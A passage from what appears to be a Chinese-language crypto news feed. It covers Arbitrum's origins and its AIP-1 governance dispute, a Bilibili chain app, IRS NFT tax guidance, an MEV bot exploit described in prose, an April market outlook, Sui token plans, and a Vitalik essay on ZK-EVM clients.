年，他成为普林斯顿信息与技术政策中心（CIPT）主任。他还曾担任律师事务所、公司、私人基金会和政府机构的顾问。2006 年，他加入了伍德罗·威尔逊公共和国际事务学院，研究领域拓展至公共关系。从 2006 年到 2010 年，他是电子前沿基金会 (EFF) 的董事会成员。2010 年 11 月，他被任命为美国联邦贸易委员会的首席技术官。 Ed Felten 作为 CIPT 主任的视频演讲，图源来自网络 2012 年和 2013 年间，Ed 回归了自己的教学岗位，并开始接触和研究比特币及区块链技术。Ed 对比特币的研究工作始于他写的一篇关于比特币挖矿机制的动态和稳定性的论文。当时大家都认为比特币系统是稳定的，如果每个人都按照自己的动机行事，那么必然的结果就是每个人都按照比特币的规则行事。但是 Ed Felten 证明了事实并非如此，有无限多的结果是稳定的，不过与比特币的书面规则不同。 从那时起，他就启动了几个与比特币相关的项目。比如构建工具来跟踪和诊断比特币参与者用来传播有关正在发生的事情的信息的对等网络的行为、研究矿池的动态、新型的双花攻击以及参与者应该如何防御，以及使用比特币协议设计一个去中心化的预测市场。 与此同时，一个叫做「智能合约」（Smart Contract）的新概念也吸引了 Ed 的注意，对于从小就开始接触软件和编程的他，智能合约的概念一下让他想起了 90 年代奔腾的互联网产业。「智能合约将成为新的软件平台」，Ed 告诉自己和身边的同事，自此，他又开始了有关智能合约未来发展的研究。在看到比特币网络潜在的拥堵问题后，Ed 果断地确定了自己的研究方向——扩容性解决方案。记住，这时区块链世界还没有以太坊。 时间来到 2014 年，IFP 技术（Interactive Fraud Proof）为区块链的扩容性问题提供了新的可能：一个侧链（Side-Chain）或二层链（L2-Chain）可以在享受底层链安全性的情况下，将所有运算环节搬到链下完成，大幅提升区块链的运行效率。 这一学年的 Ed，成天呆在自己的办公室里，手拿纸币对着白板绘画各种关于 IFP 技术堆栈的图表和线程。到了秋季学期，Ed 的一位教授同事开设了一门区块链课程，结课作业是：以小组为单位，设计一个基于区块链的项目。没多久，一个 6 人小组找到了 Ed，并开始与他学习和探讨如何搭建一个架在底层链上的「扩容链」。 2015 年初，在普林斯顿大学计算机学院的一间教室里，Arbitrum 以结课作品的身份首次展示在大家眼前。三个智能的学生拘谨地站在白板前，向教授和同学介绍着这个只有假想底层链的「L2 扩容链」。 Arbitrum 的结课展示，图源来自网络 和在场的大部分学生一样，Ed 对这份结课作业十分满意，并打算以 Arbitrum 为切入点，仔细研究 Roll-Up 技术的未来。但意外的是，正准备开始大展身手的 Ed 突然接到了来自白宫的电话，邀请他前去协助技术安全方面的工作。 2015 年 5 月 11 日，Ed Felten 被任命为白宫副美国首席技术官，为仅剩最后一年任期的奥巴马政府提供技术安全保障，而这段时间的工作，极大程度上改变了 Ed 对「压力」这个词的看法。「尽管在 Web3 创业同样要对很多人负责，但这根本无法与做总统的顾问相提并论」，Ed 常对身边的朋友说，「总统做的每一个决定，都影响着数千万人的生死」。由于超负荷的工作压力和需求，Ed Felten 完全没有时间和精力去考虑自己学术上的事业，「Arbitrum 计划」的开展也陷入停滞。 在白宫担任副首席技术官的 Ed Felten，图源来自网络 2018 年 1 月，Ed Felten 重新回到了普林斯顿大学，继续研究计算机技术。在那年的一场谈论 AI 未来的计算研究协会峰会上，Ed Felten 似乎对区块链和加密货币失去了兴趣。在回答观众关于加密货币的问题时，Ed 说道：「我认为加密货币的确提供了不同的支付方式，但在很多交易场景中，围绕支付的成本和挑战比围绕信任责任和风险产生的问题要少」。 2018 年，Ed Felten 在计算研究协会峰会上发表关于 AI 技术的演讲，图源来自网络 几个月后的一天，Ed 的两位博士学生史蒂文·戈德费德（Steven Goldfeder）和哈里·卡洛德纳（Harry Kalodner）找到了他，并向他提出了一个邀请：「嘿，还记得那个叫 Arbitrum 的东西么，我们再做一个吧」。「Sure！」，就这样，Ed 不假思索便接受了自己学生的邀请。 2018 年 8 月，Harry Kalodner 在第 27 届 USENIX Security 上发表了三人共同完成的学术著作，名为《Arbitrum: Scalable, private smart contracts》，论文的主要内容是通过创建 Arbitrum 来解决在不影响安全性的情况下扩展以太坊的问题。同年，三人联合创立 Offchain Labs，Arbitrum 正式立项。 2018 年 USENIX 安全研讨会 Harry Kalodner 介绍了 Arbitrum，图源来自网络 Arbitrum 简要编年史 我们都知道，作为以太坊的 Layer 2 扩展解决方案，Arbitrum 自 2020 年推出上线以来，成功克服了许多最初面临的挑战，并经历了一系列的发展和发展。在聊到最近热议的「DAO 事件」和 (AIP-1) 提案之前，我们先来简单回顾一下 Arbitrum 重要的开发经历。 2020 年 2 月，Arbitrum 的第一版测试网上线，仅支持 DAC 特定应用链且无合约部署。2020 年 10 月，Arbitrum 新一轮测试网和一般合约部署部署上线。 2021 年 1 月，OffchainLabs 在 Arbitrum 测试网上推出了一批针对 DeFi 生态系统的 Demo 产品。同年 5 月，公司部署了 Arbitrum One 测试网，有超过 250 个团队申请接入。9 月，Arbitrum 推出了主网 Arbitrum One，并宣布完成了一轮 1.2 亿美元的 B 轮融资。 2022 年 6 月，Arbitrum 推出了 Odyssey 奥德赛项目，允许用户通过参与 Odyssey NFT 推广活动或使用 Arbitrum 生态系统来获得奖励。原本计划运行 8 周的 Odyssey 项目，在第一周后就被暂停了。暂停的根本原因是新用户的大量使网络拥堵，导致 gas fee 太高，甚至已经超过了以太坊主网的 gas fee，这也让他们之后大刀阔斧地发布了基于 WASM 架构的 Nitro 主网。 2022 年 7 月，Arbitrum 宣布构建了新链「Arbitrum Nova」，接着在 9 月 1 日又宣布成功将 Arbitrum One 升级到 Nitro 版本，提高网络速度并降低交易成本，并在交易量和日活用户上远远领先于 Optimism，市场份额高达 52.5%。 2023 年 2 月 7 日，Offchain Labs 开发团队宣布将于今年为 Arbitrum One 和 Arbitrum Nova 推出下一代编程环境 Stylus，Stylus 的速度快了一个数量级，可以削减费用，且能与以太坊虚拟机完全互操作，甚至被称为是以太坊虚拟机的升级版「EVM+」。 自推出上线以来，Arbitrum 经历了一系列发展，包括部署测试网络、推出 Odyssey 项目和发布 Nitro。最近的 Nitro 升级和即将推出的 Stylus 编程环境展示了该平台致力于为以太坊用户提供快速、高效和低成本的解决方案。甚至在 3 月 23 日，Arbitrum 日交易量创下了 130 万的历史新高，相比之下，以太坊主网的交易量为 108 万笔。 可以说在此之前，Arbitrum 的运营是非常成功的，社区也非常爱戴 Arbitrum，但就在 ARB Token 空投几天后，Arbitrum 却发生了一起「DAO 事件」风波，事件起因还要回到 (AIP-1) 提案。 3 月 28 日，Arbitrum 社区在 Snapshot 上发起 Arbitrum Improvement Proposal 1 (AIP-1) 提案投票，提案内容为拟引入由 ARB 持有者管理的去中心化自治组织结构 ArbitrumDAO，Arbitrum 基金会也将为 ArbitrumDAO 社区服务并受其管理。 然而投票还未结束，AIP-1 提案也尚未通过。却被 Patrick McCorry 博客文章爆出，Arbitrum 基金会却已经事先创建了一个地址名为「Arbitrum DAO Treasury2」的多重签名钱包，收到近 7 亿枚 ARB Token，且已经提前出售了 ARB Token 以换取稳定币，这立刻引起了社区热议，并引起了持有人不满。 社区和一些合作方对 Arbitrum 团队和所谓的治理感到极度失望，认为 AIP-1 并不是一次真正的投票，是把 DAO 原则直接扔到窗外。在未经社区同意之时，提案内容就已被执行，这样的投票又有何意义呢？ 在多番压力下之下，4 月 3 日，Arbitrum 官方几次三番在社交媒体上针对此事做出回应，Arbitrum 的去中心化治理正按照原本的计划进行，但很多决定必须在 DAO 正式启动之前就做出。AIP-1 提案的目标是让社区参与初始决策，最终让 Token 持有者通过 DAO 投票批准初始决策和框架。在重要的争议点上，Arbitrum 表示否认，基金并没有在 AIP-1 提案未获投票通过之前出售 5000 万枚 ARB。其中 4000 万枚 ARB 已作为贷款分配给金融市场领域的成熟参与者，剩下的 1000 万枚 ARB 则被兑换成法币以用于支付运营成本。 随着 Blockworks Research 和 Arbitrum 生态最大治理代表 TreasureDAO 的公开反对，「DAO 事件」影响再次升级。 Blockworks Research 公开表示对这一提案投出反对票，并痛斥 AIP-1 意味着当前社区治理状态的倒退。随后 TreasureDAO 也表示已对 Arbitrum 基金会提出的 AIP-1 提案投反对票，并要求 Arbitrum 重新提交一份提案，其中需要更清楚地说明特别拨款计划的范围，以及对 AIP-1 提案进行拆分。对此，Arbitrum 承诺将解决从社区收到的反馈，并在本周对该提案的每个部分进行重新修改。 截止撰文时 4 月 3 日 11:15，据 Snapshot 最新投票数据显示，Arbitrum 基金会发起的综合治理包 Arbitrum 改进提案 (AIP-1) 从最初 81.7% 赞成反转为当前的反对票比例为 82.58%。 AIP-1 提案的投票将于北京时间 4 月 4 日 6:13 结束，在如此大的舆论压力之下，AIP-1 提案通过的可能性极小，那么接下来 Arbitrum 会如何收场？社区的每一个人都很想知道，BlockBeats 也将持续关注。  ( 4 min )
    B站推出高能链App，用以管理用户数字资产
    PANews 4月3日消息，据IT之家报道，B站于近期上线了一款名为“高能链”的App。官方表示，高能链App是一款基于高能链实现的链工具产品，具有链地址管理、链上资产查看/搜索等功能，用户可一站式管理自己拥有的链上资产，同时也是通往高能链生态的入口。 经下载体验，这款App支持查看bilibili数字藏品、链上地址搜寻并查看地址链资产信息。此外，B站官方表示这款产品目前可使用的场景为哔哩哔哩、DoDo以及高能链。 此前2021年12月消息，B站测试“高能链”，启动“元宇宙”业务。  ( 1 min )
    买NFT要交税了？速览美国国税局关于NFT税的新提案
    编译：Cecilia, bfrenz DAO 来源：CoinDesk 等, 链接请见文末“参考资料” 加密货币仍处于初期发展阶段，NFT 更是一种全新的资产类别，也是在 2017 年 CryptoPunks 的推出后才逐渐受到广泛关注。数字货币所有权正在快速实现和推广，各种政策和法律也还在适应和消化这个新的事实，这可以理解。 上周，美国国内税收局（IRS）发布了一份文件，请求公众评论并提出了有关 NFT 税务处理的新指导意见。该声明（Notice 2023-27）质疑是否应将 NFT 与传统的收藏品（如邮票、艺术品和高端酒）归为同一类别。这份文件同时发出提问，针对数字艺术是否可以被纳入收藏品类别，或者是否需要开辟一种新的类别，公开寻求大众的意见。 图片来源 Cointelegraph TL；DR： 根据3月21日发布的提案通知，美国国税局计划将 NFT 作为收藏品进行征税。 目前处于提案发布，公开征集意见中，尚未最终确定。 美国国税局打算采用“透视分析法”来确定 NFT 是否属于收藏品。在公众征集期后，将发布最终指导方针。 如果按照提案内容，NFT将被定义为收藏品，且按照收藏品征税，最高长期资本利得税率为 28%。而其他资产，如股票和加密货币，一般只有最高 20% 的联邦税率。 更全面的税收措施计划，或许将有助于消除市场上的不确定性。‍ ‍ 历史上，根据 IRC 第 408 节，只有五种资产类别被归类为收藏品（ collectibles )：艺术品、地毯或古董、金属或宝石、邮票或硬币和酒精饮料。第 408 节赋予了 IRS 定义新收藏品的权力，但是特别指出这些必须是“有形个人财产”。加密货币税务公司 Tax Bit 的政府部门负责人、前 IRS 首席律师 Miles Fuller 称这是一个“法律难题”。他说，”因为事实上，IRS 在监管层面上不能说他们将所有的 NFT 都归类为收藏品，因为 NFT 是无形的。” 尽管如此，他认为 “Notice 2023-27” 有助于划清 NFT 持有者/收藏者的税务责任。尤其是，IRS 打算将与实物物品相关联的那些 NFT 视为收藏品，这在文件中被描述为“透视分析法（Look-through analysis）”的一种解释。基本上，它将判断根据目前税法，NFT 的相关权利或资产是否符合目前在税法中定义的收藏品标准，如果是，则 NFT 被定义也是一种收藏品。NFT 可以代表任何东西，真的是任何东西，所以 IRS 的意思是，怎么收税取决于它代表了什么。‍ 根据 IRS 的“透视分析法”，当 NFT 作为某个实物资产的所有权证书时，其将被视为收藏品，例如一个 NFT 认证拥有一个宝石的所有权，也将作为一件收藏品。但相反，虚拟场景中使用或开发“土地“通常不属于收藏品，因此提供使用或开发该虚拟土地的 NFT 通常也不属于收藏品。 IRS 将在未来几个月发布 NFT 指导方针之前，都使用这种“透视分析法”。 目前已经有一些使用这种“透视分析法”的具体案例：碎片化 NFT 平台 Otis 出售与实物资产相关的 NFT ，例如稀有书籍和交易卡片；或者像 BlockBar 这样的 Web3 公司专注于与连接实体高端葡萄酒和烈酒的 NFT。在这些情况下，NFT 可以像所有权证书或产权证书一样发挥作用，Fuller 解释说，“IRS 并不一定会将 NFT 作为资产本身征税，而是在于 NFT与 实物资产的联系使其具有价值。IRS 并不是试图对技术征税，而是试图对该技术所产生的经济单位征税。税法的目的是征税于实际的经济财产。” 此外，该提案通知似乎对“透视分析法”是否适用于数字艺术文件本身存疑，以及数字艺术品是否可以像其实物艺术品一样被归类为收藏品。纽约注册会计师 Justin Macari 预测，IRS 将在确定数字资产是否具有收藏价值时，会密切关注知识产权权利。IRS 还指出，数字文件是否构成“艺术品”也不太清楚（比如写作类 NFT，一篇被收藏为 NFT 的 medium 文章）。IRS 正在就这个问题和其他与 NFT 税相关的问题征求意见，在通知中，列出了请求反馈的两个主要问题： “我认为最根本的是涉及知识产权的使用，” Macari 告诉 CoinDesk。“我会向 IRS 提出意见，因为关于这块有很多要说的。” 不同类型的 NFT 可能属于不同类型的资本利得范围。Macari 举例 Snoop Dogg （美国说唱歌手）持有的 Bored Ape 无聊猿 #6723 。无聊猿所有者拥有与其 NFT 相关的知识产权。正如 Macari 所说，如果拥有特定的头像类 NFT (PFP)或者 1/1 NFT 所附属的 NFT ，可以使持有者拥有在这个基础上创造实物商品（卖周边）和开盈利公司的权利，则这可能是长期收藏价值的明确标识符。与之相对的是，仅代表数字资产（例如元宇宙土地）的 NFT， 这种类型的 NFT 更接近 IRS 对普通资产的定义，因此两种应被相应征税。 普通资产根据个人的收入水平，税率在 0% 到 20% 之间浮动，而收藏品资产则以 28% 的税率征税。尽管 NFT 收藏者可能会面临税率上升的风险，但 Fuller 和 Macari 都认为增加法律上的清晰度还是积极的。“从一方面来讲，这次提案通知是一件好事，因为它给 NFT 作为一个整体带来了更多的合法性，”Macari说。 投资者在出售资产时需要缴纳资本利得税。该税是基于卖家的利润而产生的。 短期资本利得适用于持有时间不到一年的资产。这类销售所获得的利润会按照普通收入税率缴纳，这也适用于工资等。（税率有七个边际税率，从 10% 到 37% 不等。）长期资本利得适用于持有时间超过一年的资产。这些税率通常低于普通收入税率。股票和加密货币的最高税率为 20% ，适用于高收入纳税人。（较少收入的个人则需要缴纳 0% 或 15% 的税。） 但藏品（通常被超级富豪所拥有）则受到不同的税收制度的约束。它们的最高税率为 28% 。它们的结构也不同：藏品按照普通收入税率缴税，最高可达28%。这与股票的三级制度（0％、15％和20％）不同。 简而言之：最高收入的美国人需要为藏品支付更高的税率。 总的来说，纳税人一般不能在个人退休账户中持有藏品，因为退休账户是受税收优惠的。一家会计所的合伙人Lewis 提到了，最近的 IRS 提案通知继续支持这一点，意思是，NFT 被分类为藏品的情况下，不能用这些退休账户去购买 NFT，否则可能会触发所得税和罚款。 如果你有关于这个话题的想法，可以在 2023 年 6 月 19 日或之前以书面形式提交评论。确保包括对 Notice 2023-27 参考。 最简单的方法是通过联邦 eRulemaking 网站（www.regulations.gov）电子方式提交评论（在 Regulations.gov主页的搜索字段中键入“Notice2023-27”查找此通知并提交评论）。 Lewis 表示， IRS 的指导“对纳税人和税务从业人员来说是一个重大进步”。这在如何利用旧的税法来处理有形收藏品并将其应用于现代数字资产方面也很有创意。 然而，对于究竟什么是“收藏品”，这个定义仍存在一些灰色地带，并不总是黑白分明的，何况对于新兴的 NFT。 比如这个场景，一个人在车库里收藏着稀有汽车，专门用于收藏。但是，如果另一个人拥有同款的车，但每天开着它去上班。这辆车是一件收藏品，还是一辆交通工具呢？同样，如果一个人将一张古董桌子用于日常生活，这是否也算一件收藏品呢？ 对于 NFT 也是如此，有人放着专门用作收藏，也有人会做一些实际的用处。 虽然 IRS 的指导计划还在等待反馈中，但已经能看出来，NFT 所有者的资产未来税收的可能性。 购买、交易加密货币和 NFT 的个人投资者们应该意识到税务的影响，而加密货币和 NFT 交易则需要开始推广相关的税务知识学习计划，以帮助 holders 避免未来的问题。 随着 28% 的资本利得税取代过去 15% 的资本利得税率，这一消息可能会给过去一年中努力维持交易量的 NFT 生态系统带来更多挑战。但是，换个视角看，这些更全面的税收措施计划，或许将有助于消除市场上的不确定性。 现在已经有人上法庭反对这些新的 IRS 措施了，但值得注意的是，目前这些文件仍是初步的指导措施，未来可能会多次修改。由于主流 NFT 市场均受 IRS 的影响，这些计划的最终决定和实施，将对整个 NFT 领域具有重要的影响。 参考资料 1.https://www.coindesk.com/web3/2023/03/31/how-will-nfts-be-taxed-understanding-the-irs-new-proposed-guidelines/ 2.https://www.makeuseof.com/best-software-for-filing-crypto-taxes/ 3.https://www.cnbc.com/2023/03/22/how-are-nfts-taxed-the-irs-plan.html‍‍  ( 3 min )
    MEV机器人遭攻击损失达2000万美元，系bundle交易过程中资金被替换
    PANews 4月3日消息，推特用户@GaoFlynn发文称：“有几个MEV套利大户遭受重创，整个机制链路上有一环出现作恶者，从builder到relayer到validator都有可能，这可能是撼动整个MEV生态的第一个重大转折点。简单解释为黑客拿到了三明治套利的大户bot的bundle交易，bundle里有3个交易为1.大量买入，2.被夹用户的交易，3.大量卖出。黑客拿到了这个bundle，拆解了bundle，把2替换了成自己的交易，用便宜代币换走了bot的资金，之后第3步交易失败。” 此外，根据@punk3155的推文，部分MEV机器人遭遇了上述攻击，总损失已达2000万美元。  ( 1 min )
    4月加密叙事展望：上海升级赛道、Layer2、NFTFi、香港概念
    非投资建议 以太坊升级已经确定时间，现在的疑点在于以太坊质押开放提现之后，会不会在二级市场上形成巨额抛压。我尝试从几个角度来分析这个问题：一是质押者是否为长期主义者；二是卖出获利是否是其刚需。 早期进入的质押者是长期主义者是确定性的，质押 ETH 是其对于 ETH 价值的长期看好，不会因为短期事件而取出自己的筹码。并且，一项数据表明，60%（现在 ETH 价格上涨，可能数据会发生变化）处于亏损状态（将当前的 ETH 价格与每个 ETH 质押时的价格进行比较）；平均最大质押池的存款人目前也处于亏损状态。亏损状态的长期主义者卖出倾向和 Hold 倾向，在我个人的观点中，Hold 倾向>卖出倾向。 而后进入以太坊质押赛道的质押者往往可以通过 Lido 等质押协议提前取出流动性。stETH 等流动性凭证可以帮助质押者快速退出。当卖出变现刚需已经在以太坊上涨之后，就会出现。拥有 stETH 等流动性凭证的投资者会卖出获利，而不是在以太坊开始提现后才售出。另外值得关注的是 stETH 的脱锚，但从数据上来看，并没有这种趋势。 因此，从我个人的角度来看，以太坊在上海升级后，可能不会出现太大的抛压。以及，以太坊提现有一个排队机制，每天进入市场的以太坊抛压也是固定的。 另外我们来看几个 LSD 协议： LDO：LDO 是相关性最大的 Token，唯一不确定性在于其将 v2 升级推迟到了 5 月中旬，比上海升级时间节点延迟了一个月左右的时间，这可能造成了一定的 FUD。从协议角度，这是好的，因为为了确保安全，Lido 做了大量的努力。而对于币价而言，会造成短期影响。 在以太坊上上海升级之后，除了 Lido 之外，还有几个可能出现的趋势是： 以太坊质押的去中心化：RPL、SSV、SD... LSDFi 的兴起（提升收益率，增加资本效率）：YFI、AURA（马上就要登陆 Arbitrum）、FRX... （我写的是一些我正在关注的协议） 个人利益相关的是：SD、AURA（LDO 之类的可能会在某个时间节点买） ARB 是当前加密市场的热点币。我个人是非常看好 ARB 的，也期待它在今年的升级和以太坊的新升级为 Arbitrum 生态所带来的变化。但它目前存在一些问题/FUD：1）本应锁定的代币进行了移动；2）筹码分散在散户手里，且目前还没有出现对于 ARB 代币的明确需求。不过从 AIP 反对的票数高于同意的票数来看，第一点的 FUD 快要结束了，我们不妨在 4 月 4 日最后来看看投票结果如何。 利益相关 BONE 是我一直在持有的一个代币，我始终认为它是有机会的。尤其是在测试网数据比较好的背景下，更加坚定了我对于 Shibarium Layer2 的看好（虽然之前也有 FUD）。 利益相关 对于 Uniswap v3 代码专利到期这一事，我的思路是看看哪些 DEX 能够利用 Uniswap v3 代码更上一层楼，而不是单纯的 Fork。 PancakeSwap——v3 即将在 4 月 3 日登陆。我阴谋论地想，将 Uniswap 部署在 BNB 链上，专利到期是重要原因之一。 TraderJoe——JOE 在这几天迎来了一波上涨小高潮，它在最好的时机做了最好的事情。我也期待它能够在后续代码开源之后，推出更广纬度的产品。 Gamma Strategies——Gamma是建立在Uniswap v3上的流动性管理协议，那么当v3代码开源之后，Gamma也将有机会与更多的DEX进行合作。 OKB Chain OKB Chain 的推出对于 OKB 本身是一种利好。其次可以稍微关注 OKT Chain 上的 Swap CherrySwap，说不定要迁移到 OKB Chain 上。 利益相关 Bedrock 升级投票被延期到了 4 月 5 日。Bedrock 升级将带来：1）理论上最佳的调用数据提交；2）共识及执行客户端分离；3）微观的客户端差异（500 行）；4）快速的点对点网络；5）存款时间更短（2.5 分钟）；6）更智能的同步、排序和状态提交。潜在的影响是对于模块化的支持和支持引入ZKP证明。 确定升级之后，对于未来 OP 生态的竞争力也是一种提升。 对于GPU算力的需求是当下的主流叙事，RNDR则是去中心化GPU算力的头牌。不过，虽然看似拥有不错的基本面，但是RNDR代币价格的上涨需要事件的推动。近期可能出现的事件来源于苹果公司，苹果即将发布MR可能是一个契机。 利益相关 CFX、COCOS 和 INJ，记得关注在香港 4 月中旬的活动信息。 利益相关 之前提过了FEVM，我会重点关注FEVM上的生态发展，后面可能会写一篇单独的展望。 利益相关 NFT市场可能会因为Yuga Labs新的动作而产生一些变化。这个新动作可能会体现在Koda的独立上，它会对APE产生一些催化剂。而另外一个对NFT市场的利好是Blur可能的新动作，List2Earn将会是一种怎样的模式，我们还有待商榷。但值得回味的是，Blur官方是非常懂NFT市场的，值得关注他们后面的活动。 回购已经开始了。不过官方在愚人节的操作秀我一脸，消耗了市场预期和上涨动力。 利益相关 Kaspa 吃的是以太坊从 Pow 转 Pos 的红利，将的更多是故事——只要有人愿意买单，便能上涨。Kaspa的故事是公平分配（去中心化）和GhostDAG（GhostDAG 将“孤儿”块合并到链中以形成块 DAG，然后使用一种新颖的贪婪算法对块进行排序，以便快速且高概率地青睐连接良好的诚实块。 GhostDAG 允许 Kaspa 规避区块链的传统权衡，在保持比特币理论安全保证的同时，将块率提高几个数量级。）简单来说Kaspa就是优化了BTC的模式。不过我个人现在没有买的兴趣（无利益相关），因为现在处于人声鼎沸的时刻，但可以中长期关注。（其实币圈人很现实的，你只有涨才行，如果你跌了，你就是依托答辩。） 另外，Zksync Era 生态协议太多了，后面会单独出一篇。  ( 2 min )
    Sui主网即将上线，如何获取Token？
    Sui是一种基于Move语言的主要新L1公链之一。永久测试网最近上线，并完成了更新。Sui 主网将于今年 Q2 上线, 据官方表示，目前SUI Network没有正式的空投计划。但是，SUI Network已经发布了SUI Token社区访问计划，以及SUI Token的分配细节。Sui基金会将通过Token分配来激励那些在Sui生态系统中发挥重要作用的人，以推动Sui的发展。这将有助于吸引更多的人参与到Sui的发展中来，并使Sui生态系统更加健康和繁荣。 编译：Cindy，SophonLabs Sui是一种基于Move语言的主要新L1公链之一，其技术发展备受主流媒体和资本的关注。与其他新兴的L1公链，特别是Aptos相比，Sui拥有一整套新颖的设计和技术创新能力，使其能够提供一个几乎拥有无限“横向扩展性”的区块链。此外，Sui还具有高度灵活性和易用性，为开发者提供了丰富的工具和资源，以便他们能够更容易地构建各种区块链应用程序。 Aptos等项目直接采用了Meta开发的Libra项目的原始Move语言，而Sui则通过自身定制版本的Sui Move来编写其智能合约。Sui Move是一种基于资源的智能合约语言，使用了Ability加持的Struct，使其在并行处理方面具有天然优势。这种语言的主要特点是它基于资源的所有权模型，而不是基于账户模型，这意味着在Sui Move中，每个资产都有一个所有者，交易时需要进行所有权的转移。 相比于Diem的原始Move语言，Sui Move创建了更多的自带函数，例如“transfer”函数可促成“无摩擦的大规模资产创建”，以满足其大规模采用的设想。此外，Sui对Move语言的修改还包括厘清了类型系统，提供更流畅的编程体验。在Sui Move中，开发人员可以使用原生类型的资产转移和所有权，无需像在传统Move语言中那样使用“封装模式”。Sui Move还对资源“类型”的优化，允许将不同类型的资产捆绑成更大的“资产容器”，扩展自定义类型的功能性，提供更清晰的多态结构。 总的来说，Sui Move是一种高度定制化的Move语言，旨在为Sui提供更高的灵活性和可扩展性，以满足其大规模采用的需求。通过对Move语言的修改，Sui Move提供了更丰富的功能和更流畅的编程体验，使开发人员能够更轻松地构建各种区块链应用程序。 Sui Network永久测试网近期上线，并完成了更新。Sui Network的永久测试网是一个无需许可的长期运行的测试网，旨在为开发人员提供一个稳定、安全的环境来测试和优化其应用程序。与其他测试网不同的是，Sui Network的永久测试网将在主网上线后继续运行，以保持其在开发人员社区中的重要性。 该测试网的无需许可性意味着任何人都可以自由加入，无需请求许可或遵循任何特定的规则。这使得测试网能够更好地反映真实世界的使用情况，从而提供更准确的测试结果。此外，由于该测试网长期运行，开发人员可以在不受时间限制的情况下进行测试和优化，从而提高其应用程序的质量和性能。 Sui Network的永久测试网还提供了高度安全的环境，以确保测试过程中的数据和资产安全。测试网使用了最新的安全技术和协议，包括多重签名、智能合约审计和安全漏洞测试等，以保护测试网中的数据和资产免受潜在的攻击和漏洞。这为开发人员提供了一个安全的环境，使他们能够专注于测试和优化其应用程序，而不必担心安全问题。 总的来说，Sui Network的永久测试网是一个稳定、安全、无需许可的测试网，旨在为开发人员提供一个理想的环境来测试和优化其应用程序。其长期运行和高度安全的特性使其成为开发人员社区中不可或缺的一部分。 Sui 主网将于今年 Q2 上线，据官方表示，目前SUI Network没有正式的空投计划。但是，SUI Network已经发布了SUI Token社区访问计划，以及SUI Token的分配细节。 Sui基金会致力于支持和赋能Sui生态系统中的建设者和创造者。它通过在社区中传播SUI Token来实现最佳用途，在推动去中心化工作方面发挥着关键作用。初期，由Sui基金会管理的社区储备拥有一半的SUI Token，这些Token将用于各种社区项目。 委托计划是其中一个重要的项目，Sui基金会将帮助引导社区运行的验证节点，并通过将质押权委托给第三方节点来促进网络验证节点权益的公平分配。这将有助于加强网络的安全性和去中心化程度。 此外，基金会还计划通过Grants分配来直接向开发人员、社区大使和其他在Sui上构建并创建教育材料的参与者分发Token，以使他们更容易加入Sui。此外，基金会还将继续支持Sui协议的研发，确保其能够一直保持优势。验证者补贴也是基金会的一个项目，它已经拨出大量Token来补贴网络早期阶段的stake奖励，以鼓励更多的验证者参与网络。 Sui基金会非常重视那些在Sui生态系统中发挥重要作用的人，他们通过传播Sui知识、引入开发人员和测试Sui应用程序等方面做出了贡献。因此，一旦Sui主网启动，基金会将确保这些Sui朋友能够参与Sui的Token分配。 Sui基金会将确保Token分配的公正性和透明度。它将采用一种公正的分配机制，以确保所有参与者都能够获得合理的Token奖励。此外，基金会还将确保分配过程的透明度，以便所有人都能够了解分配的方式和原因。 总的来说，Sui基金会将通过Token分配来激励那些在Sui生态系统中发挥重要作用的人，以推动Sui的发展。这将有助于吸引更多的人参与到Sui的发展中来，并使Sui生态系统更加健康和繁荣。  ( 2 min )
    Vitalik：ZK-EVM如何改变以太坊验证方式并成为第三种客户端？
    转自：《Vitalik：以太坊的多客户端理念将如何与 ZK-EVM 交互｜万物研究院翻译》 编译：Ken0928.eth，万物研究院 Vitalik在其2023年4月1日的文章《以太坊的多客户端理念将如何与 ZK-EVM 交互？》中讨论了以太坊多客户端理念的现状和发展趋势，并就ZK-EVM的兴起如何影响以太坊区块链验证方式进行分析。目前，以太坊多客户端的理念由架构去中心化的技术效益和政治去中心化的社会效益两者驱动，并为两者服务。未来，随着零知识证明技术的发展，第一类 ZK-EVM 或将基于SNARK证明来改善Layer1的验证方式，并逐渐引导以太坊向着“开放的多客户端 ZK-EVM 生态系统”发展。 多客户端理念是一种未被充分讨论但非常重要的、以太坊维护其安全性和去中心化的方式。以太坊有意没有一个默认的“参考客户端”，相反，仅有一个协作管理的规范（目前的共识规范由可读但运行速度较慢的Python编写）并且有多个团队实现这一规范（也称为“客户端”），这些客户端是用户目前实际建立并运行以太坊节点的方式。 图：以太坊客户端类型及部署比例 每个以太坊节点运行一个共识客户端和一个执行客户端。截至今天，没有共识或执行客户端占网络的 2/3 以上。如果在其类别中份额低于 1/3 的客户端出现错误，则网络将照常运行。如果在其类别中占有 1/3 到 2/3 份额的客户端（例如 Prysm、Lighthouse 或 Geth）出现错误，链将继续添加区块，但它会停止敲定区块（finalizing block），从而为开发人员提供时间进行干预。 ZK-EVM的兴起如何影响以太坊链验证方式是一个未被充分讨论但非常重要的、并即将要到来的重大事项。基于SNARK证明的EVM执行已经开发多年，该技术正被基于ZK-rollups的Layer2协议积极使用。其中一些 ZK-Rollup今天在主网上很活跃，并且很快就会有更多。但从长远来看，ZK-EVM 不期望仅仅被用于Rollup，我们也想用其来验证Layer1的执行情况（另请参阅：Verge）。 这时，ZK-EVM 实际上成为第三种类型的以太坊客户端，对网络安全的重要性与执行客户端和共识客户端一样重要。那么ZK-EVM 将如何与多客户端理念交互？困难的部分之一已经完成：以太坊已经有多个正在积极开发的 ZK-EVM。但其他困难的部分仍然存在：我们如何为zk创建一个“多客户端”生态系统来验证以太坊区块的正确性？这个问题带来了一些有趣的技术挑战，但眼前的问题是这样的权衡是否值得。 以太坊的多客户端理念是一种去中心化，就像一般的去中心化一样，人们可以关注架构去中心化的技术效益，也可以关注政治去中心化的社会效益。最终，多客户端的理念是由两者驱动的，并为两者服务。 2.1 技术去中心化的论据 技术去中心化的主要好处很简单：它降低了一个软件中的一个错误导致整个网络灾难性崩溃的风险。这种风险在2010 年的比特币溢出漏洞事件中真实发生过。当时，比特币客户端代码没有检查交易输出的总和是否溢出（通过总和超过最大整数2^64−1回绕到零)，所以有人利用这一漏洞做了一笔交易，给了自己数十亿比特币。该漏洞在数小时内被发现，并迅速在网络中完成了修复和部署工作，但如果当时有一个成熟的生态系统，这些比特币就会被交易所、跨链桥和其他途径所接受，攻击者可能早已卷巨款而逃。但如果有五个不同的比特币客户端，他们不太可能都有相同的错误，因此一旦发生这类事故，整个网络会立即出现共识分歧，而分歧中有错误的一方可能会输掉。 使用多客户端方法来最小化灾难性错误的风险仍然需要权衡：这种情况下用户会遇到共识失效（consensus 